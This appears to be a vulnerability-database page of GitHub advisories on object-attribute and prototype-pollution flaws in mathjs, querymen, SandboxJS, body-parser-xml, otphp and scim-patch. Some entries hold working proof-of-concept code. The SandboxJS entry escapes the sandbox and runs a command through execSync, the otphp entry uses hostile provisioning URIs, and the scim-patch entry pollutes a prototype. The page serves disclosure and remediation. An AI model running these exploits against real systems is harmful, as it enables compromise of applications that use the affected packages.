Vulnerability-Lookup

GHSA-29QV-4J9F-FJW5

Vulnerability from github – Published: 2026-04-16 22:38 – Updated: 2026-04-27 16:43

Summary

Unsafe object property setter in mathjs

Details

Impact

This security vulnerability allowed executing arbitrary JavaScript via the expression parser of mathjs. You can be affected when you have an application where users can evaluate arbitrary expressions using the mathjs expression parser.

Patches

The issue was introduced in mathjs v13.1.1, and patched in mathjs v15.2.0.

Workarounds

There is no workaround without upgrading to v15.2.0.

References

You can find out more via the commit fixing this issue: https://github.com/josdejong/mathjs/commit/513ab2a0e01004af91b31aada68fae8a821326ad (part of PR https://github.com/josdejong/mathjs/pull/3656).

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mathjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.1.1"
            },
            {
              "fixed": "15.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40897"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T22:38:43Z",
    "nvd_published_at": "2026-04-24T17:16:20Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThis security vulnerability allowed executing arbitrary JavaScript via the expression parser of mathjs. You can be affected when you have an application where users can evaluate arbitrary expressions using the mathjs expression parser.\n\n### Patches\nThe issue was introduced in mathjs `v13.1.1`, and patched in mathjs `v15.2.0`.\n\n### Workarounds\nThere is no workaround without upgrading to `v15.2.0`.\n\n### References\nYou can find out more via the commit fixing this issue: https://github.com/josdejong/mathjs/commit/513ab2a0e01004af91b31aada68fae8a821326ad (part of PR https://github.com/josdejong/mathjs/pull/3656).",
  "id": "GHSA-29qv-4j9f-fjw5",
  "modified": "2026-04-27T16:43:11Z",
  "published": "2026-04-16T22:38:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/josdejong/mathjs/security/advisories/GHSA-29qv-4j9f-fjw5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40897"
    },
    {
      "type": "WEB",
      "url": "https://github.com/josdejong/mathjs/pull/3656"
    },
    {
      "type": "WEB",
      "url": "https://github.com/josdejong/mathjs/commit/513ab2a0e01004af91b31aada68fae8a821326ad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/josdejong/mathjs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unsafe object property setter in mathjs"
}

GHSA-2CF2-2383-H4JV

Vulnerability from github – Published: 2021-05-07 16:16 – Updated: 2021-07-28 18:46

Summary

Improperly Controlled Modification of Dynamically-Determined Object Attributes in querymen

Details

querymen prior to 2.1.4 allows modification of object properties. The parameters of exported function handler(type, name, fn) can be controlled by users without any sanitization. This could be abused for Prototype Pollution attacks.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "querymen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7600"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-03T19:11:22Z",
    "nvd_published_at": "2020-03-12T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "querymen prior to 2.1.4 allows modification of object properties. The parameters of exported function handler(type, name, fn) can be controlled by users without any sanitization. This could be abused for Prototype Pollution attacks.",
  "id": "GHSA-2cf2-2383-h4jv",
  "modified": "2021-07-28T18:46:07Z",
  "published": "2021-05-07T16:16:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7600"
    },
    {
      "type": "WEB",
      "url": "https://github.com/diegohaz/querymen/commit/1987fefcb3b7508253a29502a008d5063a873cef"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-QUERYMEN-559867"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in querymen"
}

GHSA-2GG9-6P7W-6CPJ

Vulnerability from github – Published: 2026-04-03 21:44 – Updated: 2026-04-06 23:18

Summary

SandboxJS: Sandbox integrity escape

Details

Summary

SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.

Details

The intended safety model relies on write-time checks in assignment operations. In assignCheck, writes are denied when the destination is marked global (obj.isGlobal), which correctly blocks straightforward payloads like Math.random = () => 1.

Reference: src/executor.ts#L215-L218

if (obj.isGlobal) {
  throw new SandboxAccessError(
    `Cannot ${op} property '${obj.prop.toString()}' of a global object`,
  );
}

The bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is SandboxGlobal, implemented as a function that copies all keys from a provided object into this.

Reference: src/utils.ts#L84-L88

export const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {
  for (const i in globals) {
    this[i] = globals[i];
  }
} as any as SandboxGlobalConstructor;

At runtime, global scope this is a SandboxGlobal instance (functionThis), so this.constructor resolves to SandboxGlobal. That constructor is reachable from sandbox code, and calls through Function.prototype.call are allowed by the generic call opcode path.

References: - src/utils.ts#L118-L126 - src/executor.ts#L493-L518

const sandboxGlobal = new SandboxGlobal(options.globals);
...
globalScope: new Scope(null, options.globals, sandboxGlobal),

const evl = context.evals.get(obj.context[obj.prop] as any);
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);

This creates a privilege gap: 1. Direct global mutation is blocked in assignment logic. 2. A callable host function that performs arbitrary property writes is still reachable. 3. The call path does not enforce equivalent global-mutation restrictions. 4. Attacker-controlled code can choose the write target (Math, JSON, etc.) via .call(target, payloadObject).

In practice, the payload:

const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });

overwrites host Math.random successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.

PoC

Install dependency:

npm i @nyariv/sandboxjs@0.8.35

Global write bypass with `pwned` marker

#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const run = (code) => new Sandbox().compile(code)().run();
const original = Math.random;

try {
  try {
    run('Math.random = () => 1');
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { random: () => 'pwned' })`);
  console.log('With bypass (host Math.random()):', Math.random());
  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));
} finally {
  Math.random = original;
}

Expected output:

Without bypass (direct assignment): blocked -> Cannot assign property 'random' of a global object
With bypass (host Math.random()): pwned
With bypass (fresh sandbox Math.random()): pwned

With bypass (host Math.random()) proves the sandbox changed host runtime state immediately.
With bypass (fresh sandbox Math.random()) proves the mutation persists across new sandbox instances, which shows cross-execution contamination.

Command `id` execution via host gadget

This second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX id command as a harmless execution marker.

#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');

const run = (code) => new Sandbox().compile(code)().run();
const hadCmd = Object.prototype.hasOwnProperty.call(Math, 'cmd');
const originalCmd = Math.cmd;

try {
  try {
    run(`Math.cmd = 'id'`);
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { cmd: 'id' })`);
  console.log('With bypass (host command source Math.cmd):', Math.cmd);
  console.log(
    'With bypass + host gadget execSync(Math.cmd):',
    execSync(Math.cmd, { encoding: 'utf8' }).trim(),
  );
} finally {
  if (hadCmd) {
    Math.cmd = originalCmd;
  } else {
    delete Math.cmd;
  }
}

Expected output:

Without bypass (direct assignment): blocked -> Cannot assign property 'cmd' of a global object
With bypass (host command source Math.cmd): id
With bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...

Impact

This is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.36"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:44:39Z",
    "nvd_published_at": "2026-04-06T16:16:34Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nSandboxJS blocks direct assignment to global objects (for example `Math.random = ...`), but this protection can be bypassed through an exposed callable constructor path: `this.constructor.call(target, attackerObject)`. Because `this.constructor` resolves to the internal `SandboxGlobal` function and `Function.prototype.call` is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.\n\n### Details\nThe intended safety model relies on write-time checks in assignment operations. In `assignCheck`, writes are denied when the destination is marked global (`obj.isGlobal`), which correctly blocks straightforward payloads like `Math.random = () =\u003e 1`.\n\nReference: [`src/executor.ts#L215-L218`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L215-L218)\n\n```ts\nif (obj.isGlobal) {\n  throw new SandboxAccessError(\n    `Cannot ${op} property \u0027${obj.prop.toString()}\u0027 of a global object`,\n  );\n}\n```\n\nThe bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is `SandboxGlobal`, implemented as a function that copies all keys from a provided object into `this`.\n\nReference: [`src/utils.ts#L84-L88`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L84-L88)\n\n```ts\nexport const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {\n  for (const i in globals) {\n    this[i] = globals[i];\n  }\n} as any as SandboxGlobalConstructor;\n```\n\nAt runtime, global scope `this` is a `SandboxGlobal` instance (`functionThis`), so `this.constructor` resolves to `SandboxGlobal`. That constructor is reachable from sandbox code, and calls through `Function.prototype.call` are allowed by the generic call opcode path.\n\nReferences:\n- [`src/utils.ts#L118-L126`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L118-L126)\n- [`src/executor.ts#L493-L518`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L493-L518)\n\n```ts\nconst sandboxGlobal = new SandboxGlobal(options.globals);\n...\nglobalScope: new Scope(null, options.globals, sandboxGlobal),\n```\n\n```ts\nconst evl = context.evals.get(obj.context[obj.prop] as any);\nlet ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);\n```\n\nThis creates a privilege gap:\n1. Direct global mutation is blocked in assignment logic.\n2. A callable host function that performs arbitrary property writes is still reachable.\n3. The call path does not enforce equivalent global-mutation restrictions.\n4. Attacker-controlled code can choose the write target (`Math`, `JSON`, etc.) via `.call(target, payloadObject)`.\n\nIn practice, the payload:\n```js\nconst SG = this.constructor;\nSG.call(Math, { random: () =\u003e \u0027pwned\u0027 });\n```\noverwrites host `Math.random` successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.\n\n### PoC\nInstall dependency:\n\n```bash\nnpm i @nyariv/sandboxjs@0.8.35\n```\n\n#### Global write bypass with `pwned` marker\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst run = (code) =\u003e new Sandbox().compile(code)().run();\nconst original = Math.random;\n\ntry {\n  try {\n    run(\u0027Math.random = () =\u003e 1\u0027);\n    console.log(\u0027Without bypass (direct assignment): unexpectedly succeeded\u0027);\n  } catch (err) {\n    console.log(\u0027Without bypass (direct assignment): blocked -\u003e\u0027, err.message);\n  }\n  run(`this.constructor.call(Math, { random: () =\u003e \u0027pwned\u0027 })`);\n  console.log(\u0027With bypass (host Math.random()):\u0027, Math.random());\n  console.log(\u0027With bypass (fresh sandbox Math.random()):\u0027, run(\u0027return Math.random()\u0027));\n} finally {\n  Math.random = original;\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -\u003e Cannot assign property \u0027random\u0027 of a global object\nWith bypass (host Math.random()): pwned\nWith bypass (fresh sandbox Math.random()): pwned\n```\n\n`With bypass (host Math.random())` proves the sandbox changed host runtime state immediately.  \n`With bypass (fresh sandbox Math.random())` proves the mutation persists across new sandbox instances, which shows cross-execution contamination.\n\n#### Command `id` execution via host gadget\n\nThis second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX `id` command as a harmless execution marker.\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst { execSync } = require(\u0027child_process\u0027);\n\nconst run = (code) =\u003e new Sandbox().compile(code)().run();\nconst hadCmd = Object.prototype.hasOwnProperty.call(Math, \u0027cmd\u0027);\nconst originalCmd = Math.cmd;\n\ntry {\n  try {\n    run(`Math.cmd = \u0027id\u0027`);\n    console.log(\u0027Without bypass (direct assignment): unexpectedly succeeded\u0027);\n  } catch (err) {\n    console.log(\u0027Without bypass (direct assignment): blocked -\u003e\u0027, err.message);\n  }\n  run(`this.constructor.call(Math, { cmd: \u0027id\u0027 })`);\n  console.log(\u0027With bypass (host command source Math.cmd):\u0027, Math.cmd);\n  console.log(\n    \u0027With bypass + host gadget execSync(Math.cmd):\u0027,\n    execSync(Math.cmd, { encoding: \u0027utf8\u0027 }).trim(),\n  );\n} finally {\n  if (hadCmd) {\n    Math.cmd = originalCmd;\n  } else {\n    delete Math.cmd;\n  }\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -\u003e Cannot assign property \u0027cmd\u0027 of a global object\nWith bypass (host command source Math.cmd): id\nWith bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...\n```\n\n### Impact\nThis is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.",
  "id": "GHSA-2gg9-6p7w-6cpj",
  "modified": "2026-04-06T23:18:19Z",
  "published": "2026-04-03T21:44:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-2gg9-6p7w-6cpj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34208"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SandboxJS: Sandbox integrity escape "
}

GHSA-2GHC-6V89-PW9J

Vulnerability from github – Published: 2021-09-14 20:25 – Updated: 2022-08-10 23:37

Summary

body-parser-xml vulnerable to Prototype Pollution

Details

body-parser-xml is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').

Severity

7.6 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "body-parser-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3666"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-14T18:39:31Z",
    "nvd_published_at": "2021-09-13T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "body-parser-xml is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027).",
  "id": "GHSA-2ghc-6v89-pw9j",
  "modified": "2022-08-10T23:37:49Z",
  "published": "2021-09-14T20:25:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3666"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fiznool/body-parser-xml/commit/d46ca622560f7c9a033cd9321c61e92558150d63"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fiznool/body-parser-xml"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/1-other-fiznool/body-parser-xml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "body-parser-xml vulnerable to Prototype Pollution"
}

GHSA-2JX3-65F3-XR8R

Vulnerability from github – Published: 2026-06-18 21:07 – Updated: 2026-06-18 21:07

Summary

spomky-labs/otphp: Mass-assignment in Factory::loadFromProvisioningUri lets a hostile provisioning URI corrupt OTP state or leak an uncaught TypeError

Details

Summary

OTPHP\Factory::loadFromProvisioningUri() parses an attacker-supplied otpauth:// URI and forwards every query key to OTP::setParameter($key, $value). setParameter() resolves the name with property_exists($this, $parameter) and performs a dynamic write $this->{$parameter} = $value (src/OTP.php:196-197). Because the query keys are entirely controlled by whoever produced the URI, a URI can target the internal properties of the OTP object that are not meant to be set from a URI: parameters, issuer, label, issuer_included_as_parameter, and (on TOTP) the readonly clock. This is an instance of object property mass-assignment (CWE-915).

Impact

The Factory is documented as the entry point for third-party provisioning URIs (e.g. QR codes from Microsoft 365 / Google Authenticator). An application that loads such a URI is exposed to:

State corruption. A URI such as otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP&parameters[foo]=bar overwrites the whole internal $parameters array that createFromSecret() primed (period, algorithm, digits, epoch). The resulting object is silently unusable: getProvisioningUri(), getDigits(), at(), verify() then throw ParameterNotFoundException.
Uncaught TypeError escaping the documented exception type. A URI such as otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP&issuer_included_as_parameter=notabool assigns a string to a typed bool property and raises a TypeError. The try/catch in loadFromProvisioningUri() only wraps Url::fromString(); createOTP() and populateOTP() run outside it, so the TypeError (and Error on the readonly clock) escapes past the documented InvalidProvisioningUriException, breaking callers that catch only the documented type.
Label/issuer validation bypass. parameters[label]=hijacked stores a label into the parameters array without running the label validation callback (keyed on label, not parameters). getLabel() and getParameter('label') then disagree — a confused-deputy risk.

Affected component

src/OTP.php:187-201 — setParameter() dynamic property write
src/Factory.php:50-55 — populateParameters() forwarding all query keys

Proof of concept

use OTPHP\Factory;

// State corruption
$otp = Factory::loadFromProvisioningUri(
    'otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP&parameters[foo]=bar',
    $clock
);
$otp->getProvisioningUri(); // ParameterNotFoundException: Parameter "period" does not exist

// Uncaught TypeError
Factory::loadFromProvisioningUri(
    'otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP&issuer_included_as_parameter=notabool',
    $clock
); // TypeError escapes InvalidProvisioningUriException

Remediation

Restrict the keys accepted from a provisioning URI to a known allow-list of public OTP parameters, and never let a URI key resolve to an internal object property via property_exists. Route all URI-sourced values through the validated parameter map only.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "spomky-labs/otphp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T21:07:41Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`OTPHP\\Factory::loadFromProvisioningUri()` parses an attacker-supplied `otpauth://` URI and forwards **every** query key to `OTP::setParameter($key, $value)`. `setParameter()` resolves the name with `property_exists($this, $parameter)` and performs a dynamic write `$this-\u003e{$parameter} = $value` (`src/OTP.php:196-197`). Because the query keys are entirely controlled by whoever produced the URI, a URI can target the internal properties of the OTP object that are not meant to be set from a URI: `parameters`, `issuer`, `label`, `issuer_included_as_parameter`, and (on TOTP) the readonly `clock`. This is an instance of object property mass-assignment (CWE-915).\n\n## Impact\n\nThe `Factory` is documented as the entry point for third-party provisioning URIs (e.g. QR codes from Microsoft 365 / Google Authenticator). An application that loads such a URI is exposed to:\n\n- **State corruption.** A URI such as `otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP\u0026parameters[foo]=bar` overwrites the whole internal `$parameters` array that `createFromSecret()` primed (`period`, `algorithm`, `digits`, `epoch`). The resulting object is silently unusable: `getProvisioningUri()`, `getDigits()`, `at()`, `verify()` then throw `ParameterNotFoundException`.\n- **Uncaught TypeError escaping the documented exception type.** A URI such as `otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP\u0026issuer_included_as_parameter=notabool` assigns a string to a typed `bool` property and raises a `TypeError`. The `try/catch` in `loadFromProvisioningUri()` only wraps `Url::fromString()`; `createOTP()` and `populateOTP()` run outside it, so the `TypeError` (and `Error` on the readonly `clock`) escapes past the documented `InvalidProvisioningUriException`, breaking callers that catch only the documented type.\n- **Label/issuer validation bypass.** `parameters[label]=hijacked` stores a label into the parameters array without running the `label` validation callback (keyed on `label`, not `parameters`). `getLabel()` and `getParameter(\u0027label\u0027)` then disagree \u2014 a confused-deputy risk.\n\n## Affected component\n\n- `src/OTP.php:187-201` \u2014 `setParameter()` dynamic property write\n- `src/Factory.php:50-55` \u2014 `populateParameters()` forwarding all query keys\n\n## Proof of concept\n\n```php\nuse OTPHP\\Factory;\n\n// State corruption\n$otp = Factory::loadFromProvisioningUri(\n    \u0027otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP\u0026parameters[foo]=bar\u0027,\n    $clock\n);\n$otp-\u003egetProvisioningUri(); // ParameterNotFoundException: Parameter \"period\" does not exist\n\n// Uncaught TypeError\nFactory::loadFromProvisioningUri(\n    \u0027otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP\u0026issuer_included_as_parameter=notabool\u0027,\n    $clock\n); // TypeError escapes InvalidProvisioningUriException\n```\n\n## Remediation\n\nRestrict the keys accepted from a provisioning URI to a known allow-list of public OTP parameters, and never let a URI key resolve to an internal object property via `property_exists`. Route all URI-sourced values through the validated parameter map only.",
  "id": "GHSA-2jx3-65f3-xr8r",
  "modified": "2026-06-18T21:07:41Z",
  "published": "2026-06-18T21:07:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Spomky-Labs/otphp/security/advisories/GHSA-2jx3-65f3-xr8r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/spomky-labs/otphp/GHSA-2jx3-65f3-xr8r.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Spomky-Labs/otphp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "spomky-labs/otphp: Mass-assignment in Factory::loadFromProvisioningUri lets a hostile provisioning URI corrupt OTP state or leak an uncaught TypeError"
}

GHSA-2MHW-WCX5-V3XJ

Vulnerability from github – Published: 2026-09-28 14:01 – Updated: 2026-09-28 14:01

Summary

scim-patch: Mutation of Inherited Built-in Method Objects

Details

Summary

Incomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects

scim-patch blocks direct dangerous path segments such as __proto__, constructor, and prototype, but still traverses inherited properties when applying SCIM patch paths.

An attacker who controls a SCIM PATCH operation can use paths such as toString.polluted to mutate shared built-in function objects, for example Object.prototype.toString.

Impact

A malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct Object.prototype pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.

Details

Affected code paths:

navigate() reads inherited properties via schema[subPath]
assign() uses key in obj, which treats inherited properties as existing

Because inherited keys are followed, safe-looking path segments such as toString can resolve to shared built-in objects.

PoC

const assert = require("node:assert/strict");
const { scimPatch } = require("./lib/src/scimPatch");

const victim = {
  schemas: ["urn:ietf:params:scim:schemas:core:2.0:User"],
  userName: "alice",
  active: true,
  emails: [{ value: "alice@example.com", primary: true }],
  meta: { created: "x", lastModified: "x", resourceType: "User" }
};

try {
  assert.equal(({}).toString.scimPatchPolluted, undefined);

  scimPatch(victim, [
    { op: "add", path: "toString.scimPatchPolluted", value: "polluted" }
  ]);

  assert.equal(({}).toString.scimPatchPolluted, "polluted");
  console.log(({}).toString.scimPatchPolluted);
} finally {
  delete Object.prototype.toString.scimPatchPolluted;
}

Output:

polluted

A no-path operation with a dotted value key is also affected:

scimPatch(victim, [
  { op: "add", value: { "toString.noPathPolluted": "polluted" } }
]);

Remediation

Do not traverse inherited properties while resolving patch paths. Use own-property checks such as Object.hasOwn(obj, key) and create missing containers only for safe own keys.

Keep the existing denylist for __proto__, constructor, and prototype as defense in depth.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "scim-patch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T14:01:15Z",
    "nvd_published_at": "2026-09-23T15:17:15Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIncomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects\n\n`scim-patch` blocks direct dangerous path segments such as `__proto__`, `constructor`, and `prototype`, but still traverses inherited properties when applying SCIM patch paths.\n\nAn attacker who controls a SCIM PATCH operation can use paths such as `toString.polluted` to mutate shared built-in function objects, for example `Object.prototype.toString`.\n\n## Impact\n\nA malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct `Object.prototype` pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.\n\n## Details\n\nAffected code paths:\n\n- `navigate()` reads inherited properties via `schema[subPath]`\n- `assign()` uses `key in obj`, which treats inherited properties as existing\n\nBecause inherited keys are followed, safe-looking path segments such as `toString` can resolve to shared built-in objects.\n\n## PoC\n\n```js\nconst assert = require(\"node:assert/strict\");\nconst { scimPatch } = require(\"./lib/src/scimPatch\");\n\nconst victim = {\n  schemas: [\"urn:ietf:params:scim:schemas:core:2.0:User\"],\n  userName: \"alice\",\n  active: true,\n  emails: [{ value: \"alice@example.com\", primary: true }],\n  meta: { created: \"x\", lastModified: \"x\", resourceType: \"User\" }\n};\n\ntry {\n  assert.equal(({}).toString.scimPatchPolluted, undefined);\n\n  scimPatch(victim, [\n    { op: \"add\", path: \"toString.scimPatchPolluted\", value: \"polluted\" }\n  ]);\n\n  assert.equal(({}).toString.scimPatchPolluted, \"polluted\");\n  console.log(({}).toString.scimPatchPolluted);\n} finally {\n  delete Object.prototype.toString.scimPatchPolluted;\n}\n```\n\nOutput:\n\n```text\npolluted\n```\n\nA no-path operation with a dotted value key is also affected:\n\n```js\nscimPatch(victim, [\n  { op: \"add\", value: { \"toString.noPathPolluted\": \"polluted\" } }\n]);\n```\n\n## Remediation\n\nDo not traverse inherited properties while resolving patch paths. Use own-property checks such as `Object.hasOwn(obj, key)` and create missing containers only for safe own keys.\n\nKeep the existing denylist for `__proto__`, `constructor`, and `prototype` 